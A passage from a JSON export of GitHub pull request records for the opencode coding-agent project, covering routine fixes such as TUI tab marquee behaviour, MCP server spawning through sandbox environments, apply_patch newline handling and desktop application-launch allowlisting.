        "text": "## What Keep exact-fit session tab titles stationary and free of overflow fades when hover reveals the close button. ## Before / After **Before** A title that exactly filled its resting tab width became one or two cells too wide only because hover reserved space for `×`. That activated the marquee and its leading-edge fade, producing a dark mass at the front of an otherwise stationary-looking title. **After** Overflow is classified against the tab's resting title width. Exact-fit titles remain stationary and unfaded on hover; titles that already overflowed continue to marquee within the narrower hovered viewport. ## How - Add a strict display-cell overflow predicate in `packages/tui/src/util/marquee.ts`. - Separate resting title width from the temporary hovered viewport in horizontal and vertical session tabs. - Use resting width for marquee eligibility and overflow fades while retaining the hovered width for clipping and close-button layout. ## Testing - `bun run test test/util/marquee.test.ts` from `packages/tui` - `bun typecheck` from `packages/tui` - Pre-push `bun turbo typecheck --concurrency=3`",
        "url": "https://github.com/anomalyco/opencode/pull/42073",
        "createdAt": "2026-08-12T16:03:04Z",
        "updatedAt": "2026-08-12T16:17:49Z",
        "timestamp": "2026-08-12T16:17:49Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": [],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42075",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(opencode): limit default GPT verbosity",
        "text": "Context: when using Bedrock with a Gateway such as LiteLLM, we see rejection errors from the Bedrock mantle. A fix for now is to create a plugin such as: ```ts // In plugins/gateway-compat.ts import type { Plugin } from \"@opencode-ai/plugin\" /** * gateway-compat: strip parameters the Contentful AI Gateway (LiteLLM) rejects. * * OpenCode auto-adds `textVerbosity: \"low\"` for GPT-5.x models. Via the * OpenAI-compatible provider this becomes `verbosity`, which Bedrock Mantle * behind the gateway rejects. Remove it for all contentful-gateway GPT-5.x * models. */ const GatewayCompatibility: Plugin = async () => ({ \"chat.params\": async (input, output) => { if (input.model.providerID !== \"contentful-gateway\") return if (!input.model.api.id.includes(\"gpt-5\")) return delete output.options.textVerbosity }, }) export default GatewayCompatibility ``` But this PR handles it at the root: opencode ✨ Everything is explained in the plugin comment, but TLDR: OpenCode auto-adds `textVerbosity: \"low\"` for GPT-5.x models. Bedrock rejects the option for some GTP models. Note: reviewed by a human (me) and implemented by latest Luna max ---- Here starts the AI generated part: ## Summary - only add the GPT-5 `textVerbosity` default for provider packages known to support it - avoid forwarding OpenAI-specific `verbosity` through generic OpenAI-compatible providers - preserve the existing OpenAI and Bedrock Mantle behavior - add regression coverage for OpenAI-compatible GPT-5 models ## Testing - `bun test test/provider/transform.test.ts` - `bun typecheck` from `packages/opencode` - `bun turbo typecheck` (pre-push hook)",
        "url": "https://github.com/anomalyco/opencode/pull/42075",
        "createdAt": "2026-08-12T16:07:05Z",
        "updatedAt": "2026-08-12T18:18:34Z",
        "timestamp": "2026-08-12T18:18:34Z",
        "metrics": {
          "reactions": 0,
          "comments": 4
        },
        "labels": [
          "needs:issue"
        ],
        "author": "Lp-Francois",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42076",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "refactor(core): spawn stdio MCP servers through the location environment",
        "text": "## What Route local/stdio MCP server processes through each location's `Environment.spawner` instead of the MCP SDK's host-bound `StdioClientTransport`. MCP is already location-scoped, but stdio servers were host-ambient. A workspace-backed location could run Shell and Ripgrep inside its sandbox while its MCP servers still ran on the OpenCode host. After this change, stdio MCP follows the same execution seam as the rest of the location. ## Before / After **Before:** `MCPClient.connect` constructed `StdioClientTransport`, which spawned on the host with host environment values and used host-only `pgrep` cleanup. Workspace placement had no effect on stdio MCP execution. **After:** the location MCP layer supplies its `Environment`; transport startup calls `Environment.spawner.spawn`, so local locations use the host driver and workspace locations use their sandbox driver. Process shutdown goes through the returned handle. ## How - `packages/core/src/mcp/stdio.ts` implements the MCP `Transport` contract over an Effect `ChildProcessHandle`. - JSON-RPC framing reuses the SDK's newline-delimited `ReadBuffer` and `serializeMessage`. - The process is spawned in `start()`, keeping workspace wake/spawn inside the MCP startup timeout and preserving the SDK callback-ordering contract. - Stderr is continuously drained and attributed to the MCP server in debug logs. - Only configured environment overrides cross the Environment boundary. `extendEnv` is resolved by the selected driver: the local driver inherits host env as before, while workspace drivers inherit inside the sandbox, preventing host env leakage. - Close ends stdin, waits for a graceful exit, sends `SIGTERM` through the handle, then escalates to `SIGKILL`; scoped process cleanup remains the final backstop. Local handles kill detached process groups, preserving descendant cleanup without host `pgrep`; workspace handles use their driver-specific kill protocol. - `MCP.node` now depends on the location's `Environment.node`. ```mermaid sequenceDiagram participant MCP as Location MCP participant Env as Environment.spawner participant Driver as Local or workspace driver participant Server as stdio MCP server MCP->>Env: spawn(command, cwd, configured env) Env->>Driver: route for location Driver->>Server: start process MCP->>Server: newline-delimited JSON-RPC over stdin Server-->>MCP: newline-delimited JSON-RPC over stdout MCP->>Driver: close stdin / SIGTERM / SIGKILL via handle ``` ## Scope No option or flag is added. Availability is determined by whether the location's Environment spawner works. Follow-up: the workerd profile in #41918 will gain working stdio MCP through this seam once its Environment fallback is replaced. ## Testing - `cd packages/core && bun run test`: 1,688 passed, 16 skipped, 0 failed on the first full run. - A later full run hit two unrelated existing 5s timing failures (`Snapshot` interruption and Config command rename); both pass in isolation. The Config rename case was rerun twice during investigation and then passed when isolated. - `cd packages/core && bun test test/mcp.test.ts`: 26 passed, including real stdio fixtures and a recording Environment spawner assertion. - `bun run typecheck`: all 32 typecheck tasks succeeded across 38 packages, including a clean push-hook run. - Prettier and `git diff --check` pass.",
        "url": "https://github.com/anomalyco/opencode/pull/42076",
        "createdAt": "2026-08-12T16:07:33Z",
        "updatedAt": "2026-08-12T17:16:16Z",
        "timestamp": "2026-08-12T17:16:16Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42078",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "docs: fix grammar in sdk and models pages",
        "text": "### Type of change - [x] Bug fix (docs grammar) - [ ] New feature - [ ] Refactor / code improvement - [x] Documentation ### What does this PR do? Fixes two English grammar mistakes in the docs: 1. `packages/web/src/content/docs/sdk.mdx` — \"specifying an `format`\" → \"specifying a `format`\" (`format` starts with a consonant, so \"a\" is correct). 2. `packages/web/src/content/docs/models.mdx` — \"the `provider_id` is key from\" → \"the `provider_id` is the key from\" (missing article; the second half of the same sentence already reads \"is the key from `provider.models`\"). ### How did you verify your code works? These are pure doc text changes. `bun typecheck` (30/30 packages) passed via the pre-push hook. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42078",
        "createdAt": "2026-08-12T16:18:03Z",
        "updatedAt": "2026-08-12T18:18:31Z",
        "timestamp": "2026-08-12T18:18:31Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [
          "contributor"
        ],
        "author": "skyzhao1223",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42079",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "test: stabilize Windows integration coverage",
        "text": "## Summary - delete the wall-clock-driven tab pulse rendering test - give the canonical-worktree snapshot test enough time for Git setup on Windows - give shell permission/progress integration tests realistic Windows CI timeouts - increase the shell command timeout assertion window so process startup cannot race the expected output ## Why Recent Windows CI runs repeatedly timed out at the tests' exact 5s or 10s limits while the same tests passed on surrounding commits. These tests start Git worktrees, application layers, and PowerShell processes, so the default unit-test timeout was acting as a machine-speed assertion rather than testing behavior. ## Checks - `bun test test/snapshot.test.ts test/tool-shell.test.ts` (`packages/core`) - `bun typecheck` (`packages/core`) - `bun test test/component/tab-pulse.test.tsx` (`packages/tui`) - `bun typecheck` (`packages/tui`) - shell timeout test repeated 10 times - Prettier check for all changed files Requested by: @kitlangton (Kit via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42079",
        "createdAt": "2026-08-12T16:18:25Z",
        "updatedAt": "2026-08-12T16:45:40Z",
        "timestamp": "2026-08-12T16:45:40Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "closed",
        "assignees": [
          "kitlangton"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42080",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "docs: add @oyadotai/opencode-plugin to ecosystem plugins",
        "text": "Adds [@oyadotai/opencode-plugin](https://www.npmjs.com/package/@oyadotai/opencode-plugin) to the plugins table on the ecosystem page. The plugin lets OpenCode build, deploy, and manage [Oya](https://getoya.ai) AI agents via the Oya MCP server: create agents with skills and scheduled routines, deploy them to a sandboxed cloud runtime, connect gateways (Slack, Gmail, LinkedIn, and more), trigger runs, and inspect traces without leaving the editor. - Source: https://github.com/OyaAIProd/oya-plugins (plugin in `opencode/`, MIT) - npm: `@oyadotai/opencode-plugin` v0.3.0, built on `@opencode-ai/plugin` 🤖 Generated with [Claude Code](https://claude.com/claude-code)",
        "url": "https://github.com/anomalyco/opencode/pull/42080",
        "createdAt": "2026-08-12T16:20:31Z",
        "updatedAt": "2026-08-12T18:47:39Z",
        "timestamp": "2026-08-12T18:47:39Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "OyaAIProd",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42084",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix: preserve trailing blank line in apply_patch",
        "text": "### Issue for this PR Fixes #42081 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? `apply_patch` silently deletes the final blank line of any file ending with `\\n\\n`, even when the patch doesn't touch it (#42081). Both patch implementations pop the sentinel `\"\"` that `split(\"\\n\")` produces when content ends with a newline, then later re-check \"is the last element empty\" to decide whether to push the sentinel back. A genuinely blank last line also leaves `\"\"` at the end, so the sentinel is never restored and one `\\n` is lost on every edit. The fix records whether the sentinel was actually popped and reuses that on the way out instead of re-inferring it. Applied to `derive()` in `packages/core/src/patch.ts` and `deriveNewContentsFromChunks()` in `packages/opencode/src/patch/index.ts`. Files without a trailing newline keep the existing \"always add one\" behavior; this PR only fixes the unrequested deletion. Disclosure: developed with AI assistance; I reviewed and verified everything locally. ### How did you verify your code works? Added one regression test per implementation, next to the existing cases; both fail before the fix and pass after: - `packages/core/test/tool-apply-patch.test.ts`: end-to-end through the tool. File `alpha\\nbeta\\n\\n`, patch changes only `alpha`; asserts `ALPHA\\nbeta\\n\\n` on disk and a 1 addition / 1 deletion diff (before the fix: `ALPHA\\nbeta\\n` and 1/2). - `packages/opencode/test/patch/patch.test.ts`: same scenario through `Patch.applyPatch`. Test runs: - `packages/core`: full `bun test` — 1081 tests, 1079 pass; the 2 failures are pre-existing flaky `Npm.add` timeouts unrelated to this change (they pass when the file is run individually, both before and after the fix). - `packages/opencode`: `bun test test/patch/patch.test.ts test/tool/apply_patch.test.ts` — 48 pass. I did not run this package's full suite. - `bun typecheck` passes in both packages. ### Screenshots / recordings _Not a UI change._ ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42084",
        "createdAt": "2026-08-12T16:42:10Z",
        "updatedAt": "2026-08-12T16:42:10Z",
        "timestamp": "2026-08-12T16:42:10Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "codeAnqiang-ma",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42085",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "docs(go): clarify DeepSeek ZDR coverage",
        "text": "## Summary - mark the zero-day retention entries for both DeepSeek V4 models with an asterisk - clarify that the monthly ZDR agreement applies to DeepSeek generally, not only DeepSeek V4 Flash ## Checks - `git diff --check` - Web build not run: this worktree does not have the Astro executable installed Requested by: @thdxr (Dax Raad via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42085",
        "createdAt": "2026-08-12T16:49:10Z",
        "updatedAt": "2026-08-12T16:54:01Z",
        "timestamp": "2026-08-12T16:54:01Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "closed",
        "assignees": [
          "thdxr"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42086",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): stabilize repeated open menu",
        "text": "## What Keep the populated Control-O session/project picker stable when it opens, reopens, or receives the shortcut repeatedly. ## Before / After **Before:** Opening reset the shared dialog to medium width, mounted a partial picker from local state, then resized it and inserted projects and cross-project recents as two asynchronous requests completed. This produced a visible flash while loading. Pressing Control-O while open also remounted the picker and restarted those requests. **After:** Project and recent-session data load before the picker is mounted. Its first visible frame is already populated and large. Repeated Control-O presses leave the active picker mounted, preserving its content, filter, and selection. ## How - `packages/tui/src/app.tsx` loads projects and recent sessions before installing the picker, coalesces concurrent opens, and ignores `open.menu` while the picker is active. - `packages/tui/src/ui/dialog.tsx` lets replacements declare their initial size and identity in one batched update. - `packages/tui/src/component/dialog-open.tsx` receives loaded sessions and no longer fetches or resizes after mounting. - `packages/tui/test/cli/tui/dialog-open.test.tsx` verifies no picker frame appears while recents are pending, then verifies the first picker frame contains both sessions and projects. ## Scope This only changes loading, repeated invocation, and initial sizing for the Control-O picker. Other dialogs keep their existing replacement behavior. ## Testing - `bun typecheck` in `packages/tui` - `bun run test test/cli/tui/dialog-open.test.tsx` (6 passing, 13 assertions) - Push hook workspace typecheck (32 packages successful) - Live V2 TUI against the elected service: captured populated first open, Escape, populated reopen, and repeated Control-O presses while open ## Demo Real live-service data, not an isolated fixture. The picker appears fully populated on both opens, and repeated Control-O presses do not remount it. https://github.com/user-attachments/assets/6a5a7754-6640-41af-8b16-b54cebc1cc21",
        "url": "https://github.com/anomalyco/opencode/pull/42086",
        "createdAt": "2026-08-12T16:52:34Z",
        "updatedAt": "2026-08-12T17:17:16Z",
        "timestamp": "2026-08-12T17:17:16Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42087",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(desktop): restrict application launches",
        "text": "## Summary - allow only the applications exposed by the Open in menu to cross the desktop IPC boundary - resolve Windows executable paths in the main process after validating the requested application - fall back to the system file opener for unsupported or unavailable applications - add platform-specific allowlist coverage ## Why The renderer previously supplied a free-form executable string to `open-path`. On Windows and Linux, the main process passed that value directly to `execFile`; on macOS it passed the value to `open -a`. Context isolation does not protect a deliberately exposed bridge method from injected renderer code, so executable selection must be constrained in the main process. ## Testing - `bun typecheck` (packages/desktop) - 75 desktop tests passed - 22 focused application-policy cases passed - Prettier and `git diff --check` Requested by: @Hona (Luke Parker via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42087",
        "createdAt": "2026-08-12T17:05:10Z",
        "updatedAt": "2026-08-12T17:05:20Z",
        "timestamp": "2026-08-12T17:05:20Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "open",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42088",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): consolidate developer tools controls",
        "text": "## What Use **Developer tools** as the user-facing command name and keep turn token usage controls inside the developer tools bar instead of exposing them as a separate command. Clickable sections in the developer tools bar now use the theme's brighter hover background so they read as interactive before selection. ## Before / After **Before:** The command palette exposed both `DevTools` and `Turn token usage`, splitting one developer-tools surface into two settings. The bar's top-level sections had no hover feedback. **After:** The command palette exposes one `Developer tools` setting. Searching for `Turn token usage` returns no command, while its controls remain available in the Tools panel. Hovering a bar section applies the existing themed hover treatment. ## How - `packages/tui/src/component/dialog-config.tsx` renames the visible setting and removes the standalone token-usage setting. - `packages/tui/src/component/devtools-bar.tsx` tracks hover state for top-level bar items and applies the existing action hover color. - `packages/tui/test/config-v2.test.tsx` covers the consolidated settings surface. ## Scope Internal `DevTools` names and the persisted `debug.turn_tokens` configuration remain unchanged. ## Testing - `bun run test test/config-v2.test.tsx` (14 tests, 100 assertions) - `bun run typecheck` - OpenCode Drive against this checkout, verifying the renamed command, absence of the standalone token command, and presence of token controls in the Tools panel ## Demo Recorded with OpenCode Drive against this branch. The flow searches for `developer`, searches for `turn token usage`, then opens the Tools panel. https://github.com/user-attachments/assets/53a55378-ba0f-4b24-ad70-29ff0661ad5c",
        "url": "https://github.com/anomalyco/opencode/pull/42088",
        "createdAt": "2026-08-12T17:08:27Z",
        "updatedAt": "2026-08-12T17:23:17Z",
        "timestamp": "2026-08-12T17:23:17Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42092",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tool): skip plugin tools without descriptions",
        "text": "### Issue for this PR Refs #42026 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? Skips plugin tool definitions whose `description` field is not a string before they enter the tool registry. The file-scanned tool path already guarded malformed exports with `isPluginTool(...)`, but the `plugin.list()` path accepted every entry and forwarded it into `fromPlugin(...)`. A plugin tool with `description: undefined` could then be surfaced to the model tool catalog and fail later during request/schema preparation. This keeps valid plugin tools and built-in tools available while isolating the malformed tool definition. ### How did you verify your code works? - `cd packages/opencode && bun test test/tool/registry.test.ts --test-name-pattern 'skips plugin tools with missing descriptions' --timeout 30000` - `cd packages/opencode && bun test test/tool/registry.test.ts --timeout 60000` - `cd packages/opencode && bun typecheck` - `bun run lint packages/opencode/src/tool/registry.ts packages/opencode/test/tool/registry.test.ts` - `git diff --check` ### Screenshots / recordings N/A; this is a registry validation fix. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR",
        "url": "https://github.com/anomalyco/opencode/pull/42092",
        "createdAt": "2026-08-12T17:37:26Z",
        "updatedAt": "2026-08-12T17:38:28Z",
        "timestamp": "2026-08-12T17:38:28Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [
          "needs:issue"
        ],
        "author": "zcxGGmu",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42093",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): restore tab marquee hover",
        "text": "## What Restore session tab marquee behavior when hover reveals the close control, and prevent a previous tab's marquee from remaining active after the pointer moves to a title that fits. ## Before / After **Before** A title could fit the resting tab width but become clipped when hover reserved cells for the close control. Overflow eligibility still used the resting width, so the clipped title never rotated. Moving from an active marquee to a fitting tab cleared its timer but retained the old active tab and offset, leaving the marquee visually stuck. **After** Hover eligibility uses the actual hovered title viewport. Entering a fitting tab explicitly resets any previous marquee, so no stale active tab or interval survives the transition. Leaving an overflowing tab still completes the current ` · ` cycle before settling at its beginning. ## How - `packages/tui/src/component/session-tabs.tsx` computes explicit hovered title widths for horizontal and vertical tabs and passes them to the marquee controller. - The controller resets when the entered title fits instead of only clearing its timer. - `packages/tui/test/component/session-tabs-marquee.test.ts` covers delayed hover start, transition to a fitting tab, stale interval prevention, and forward settling after leave. ## Scope This changes only session tab marquee eligibility and lifecycle. Tab sizing, close-button behavior, drag behavior, and title generation are unchanged. ## Testing - `bun run test test/component/session-tabs-marquee.test.ts test/util/marquee.test.ts` from `packages/tui` - `bun typecheck` from `packages/tui` - Pre-push `bun turbo typecheck --concurrency=3`",
        "url": "https://github.com/anomalyco/opencode/pull/42093",
        "createdAt": "2026-08-12T17:43:16Z",
        "updatedAt": "2026-08-12T18:47:37Z",
        "timestamp": "2026-08-12T18:47:37Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42095",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(desktop): stop sidecar before quitting",
        "text": "### Issue for this PR Closes #42097 ### Type of change - [x] Bug fix - [ ] New feature - [ ] Refactor / code improvement - [ ] Documentation ### What does this PR do? On Linux, closing the desktop app could terminate the Electron NodeService utility process with SIGABRT while local server cleanup was still running. That could trigger systemd-coredump and consume several gigabytes while collecting the dump. This waits for sidecar cleanup before allowing the app to quit. The sidecar reports that cleanup completed instead of exiting itself, and the parent then uses Electron's UtilityProcess.kill() so the process that spawned the utility process also terminates and reaps it. ### How did you verify your code works? - Ran `bun typecheck` in `packages/desktop`. - Ran `bun test src/main/index.test.ts src/main/window-registry.test.ts` (9 passed). - Ran `bun run build` in `packages/desktop`. - Ran the repository-wide pre-push typecheck (30 tasks passed). - Closed the running Linux desktop app and waited 45 seconds; the sidecar exited cleanly and neither `journalctl` nor `coredumpctl` reported a new coredump. ### Screenshots / recordings Not applicable; this is a process lifecycle fix with no UI changes. ### Checklist - [x] I have tested my changes locally - [x] I have not included unrelated changes in this PR _If you do not follow this template your PR will be automatically rejected._",
        "url": "https://github.com/anomalyco/opencode/pull/42095",
        "createdAt": "2026-08-12T17:45:58Z",
        "updatedAt": "2026-08-12T17:57:22Z",
        "timestamp": "2026-08-12T17:57:22Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "mjnaderi",
        "state": "open",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42096",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): keep interrupt confirmation visible",
        "text": "## What Keep the full V2 TUI's armed interrupt confirmation visible after the first Escape. ## Before / After **Before:** A running session showed `esc interrupt`. The first Escape correctly armed the two-press confirmation without calling the interrupt API, but the footer used `theme.background.action.primary.default` as a foreground color. In the reproduced theme, OpenTUI rendered those cells blank, so the complete hint disappeared while the session remained running. **After:** The armed full-TUI footer uses `theme.text.feedback.warning.default`. The first Escape visibly changes the footer to `esc again to interrupt`; the second Escape interrupts the session. ## How - `packages/tui/src/component/prompt/index.tsx` renders the armed status with the existing semantic warning text token instead of a background action token. - The small `PromptInterruptStatus` boundary owns the armed/unarmed semantic color choice. - `packages/tui/test/cli/tui/prompt-interrupt-status.test.tsx` verifies the complete armed phrase and warning-colored rendered spans. ## Scope This changes only the full TUI prompt footer. Interrupt counting, the five-second timeout, API behavior, and the mini TUI are unchanged. ## Testing - `cd packages/tui && bun run test test/cli/tui/prompt-interrupt-status.test.tsx` (`1` passed) - `cd packages/tui && bun typecheck` - Push hook: `bun turbo typecheck --concurrency=3` (`32` successful) - OpenCode Drive: populated simulated full-TUI session; verified `esc interrupt`, first Escape rendered `esc again to interrupt`, and second Escape interrupted - Simplify review tightened the test so the component owns and verifies the warning-token policy ## Demo OpenCode Drive recording of the actual full TUI and fixed two-Escape flow. https://github.com/user-attachments/assets/846bf10b-8e3a-4e62-8e2e-247b6daf55bd",
        "url": "https://github.com/anomalyco/opencode/pull/42096",
        "createdAt": "2026-08-12T17:48:34Z",
        "updatedAt": "2026-08-12T18:33:56Z",
        "timestamp": "2026-08-12T18:33:56Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42098",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(tui): move debug overlay into developer tools",
        "text": "## What Move the OpenTUI renderer debug overlay behind the TUI's Developer Tools surface. The Developer Tools **UI** pane now exposes a `Debug overlay` checkbox that stays synchronized with the renderer. The existing `app.debug` command remains available to explicit keybindings, but is no longer globally discoverable in the command palette. ## Before / After **Before:** Searching the global command palette for `debug` exposed `Toggle debug panel` to every user, separate from the developer tools UI. **After:** The command palette no longer lists the renderer overlay. Users who enable Developer Tools can toggle it from **UI → Debug overlay**, while configured `app.debug` keybindings continue to work and update the checkbox state. ## How - `packages/tui/src/app.tsx` marks `app.debug` as hidden from the command palette without removing its keybinding command. - `packages/tui/src/component/devtools-bar.tsx` adds the UI-pane toggle and follows OpenTUI's `DEBUG_OVERLAY_TOGGLE` event so UI state stays accurate regardless of how the overlay changes. ## Scope - Does not persist the overlay across TUI launches. - Does not remove backward compatibility for existing `app.debug` keybindings. ## Testing - `bun run typecheck` in `packages/tui` - `bun run test` in `packages/tui` (683 passed, 5 skipped) - `bun run lint packages/tui/src/app.tsx packages/tui/src/component/devtools-bar.tsx` (0 errors; existing warnings only) - Push hook: full workspace `bun turbo typecheck --concurrency=3` (32 packages passed) - Real PTY at 120×36 and 80×24 with Developer Tools enabled: - searching `debug` omitted `Toggle debug panel` - **UI → Debug overlay** rendered unchecked - toggling showed the renderer stats overlay and checked state - toggling again hid the overlay and restored unchecked state",
        "url": "https://github.com/anomalyco/opencode/pull/42098",
        "createdAt": "2026-08-12T17:53:11Z",
        "updatedAt": "2026-08-12T18:08:27Z",
        "timestamp": "2026-08-12T18:08:27Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "kitlangton",
        "state": "closed",
        "assignees": []
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42099",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): preserve Copilot fallback provider",
        "text": "## Summary - rewrite models.dev GitHub Copilot fallback models to use the bundled Copilot provider package - keep the rewrite inside the GitHub Copilot catalog transform - preserve account-specific base URL overrides when live model synchronization is unavailable - cover fallback package rewriting with a provider plugin test ## Verification - `bun test test/plugin/provider-github-copilot.test.ts` - `bun typecheck` Requested by: @rekram1-node (Aiden Cline via Slack)",
        "url": "https://github.com/anomalyco/opencode/pull/42099",
        "createdAt": "2026-08-12T17:59:34Z",
        "updatedAt": "2026-08-12T19:03:29Z",
        "timestamp": "2026-08-12T19:03:29Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [
          "contributor"
        ],
        "author": "opencode-agent[bot]",
        "state": "closed",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:pull_request:42100",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "pull_request",
        "title": "fix(core): adopt pre-project sessions on directory resolution",
        "text": "## What Keep sessions created before Git initialization visible after their directory acquires a stable project identity. ## Before / After **Before:** A session created in a non-Git directory belonged to the `global` project. After `git init`, project resolution assigned the directory a real project ID, but the session row kept its stale `global` ownership, so project-scoped listing hid it and it disappeared from the TUI and app. **After:** When `Project.resolve` first establishes a directory's identity, it records one durable `project.directory.resolved` fact (`projectID`, `directory`, `previous`). The session projection folds it: sessions still owned by the previous resolution (or `global`) whose directory sits inside the resolved directory follow the new identity immediately — before any listing happens. Location, transcript, instructions, and recency are untouched. ## How The underlying fact is project-domain, not session-domain: \"this directory now resolves to this project.\" Modeling it that way replaces the earlier per-session adoption design (durable `session.project.adopted` reconciled on every project-scoped list) with one event per identity change and zero read-path work. - `packages/schema/src/project-directories.ts`: durable `project.directory.resolved` (aggregate `projectID`), consuming the previously dead `Project.Resolved.previous` field. - `packages/schema/src/durable-event-manifest.ts`: registers the first non-session durable event. - `packages/core/src/project.ts`: `persist` publishes the event when a `(projectID, directory)` row is missing; the row insert runs in the event's `commit` hook, so the announcement and the row commit atomically and a crash between resolves is self-healing. An in-flight set keeps concurrent in-process resolves from announcing the same fact twice; cross-process duplicates remain possible and the fold is idempotent. - `packages/core/src/session/projector.ts`: folds the event into the session read model with a bulk conditional update. The `WHERE project_id IN (previous, global)` guard makes a concurrently moved session unmatchable, so no locks or conflict defects are needed. A lexicographic directory range narrows the scan and `FSUtil.contains` decides containment exactly. - `packages/core/src/bus.ts`: the new `project → bus` edge exposed a module cycle (`bus → location → project → bus`) that hit node bindings in TDZ; bus now takes location types from schema and defers the `Location.Service` tag import into the layer. - `packages/tui`, `packages/app`: apply the same fold to cached session metadata through one shared pure helper, `ProjectDirectories.adopt` in `packages/schema`, colocated with the event definition. - `packages/client`: regenerated; only the promise event union changes since no session durable event was added. ## Scope - Only `previous`-owned and `global`-owned sessions follow a resolution. Sessions owned by a different real project ID (e.g. root-commit identity replaced by a later-added git remote without a cached ID) still strand; the event's `previous` field is the hook for handling that transition when cached-identity tracking lands. - Cross-aggregate replay ordering (project events interleaved with session events during a full rebuild) is unchanged from the existing per-aggregate replay semantics. ## Testing - `bun run test 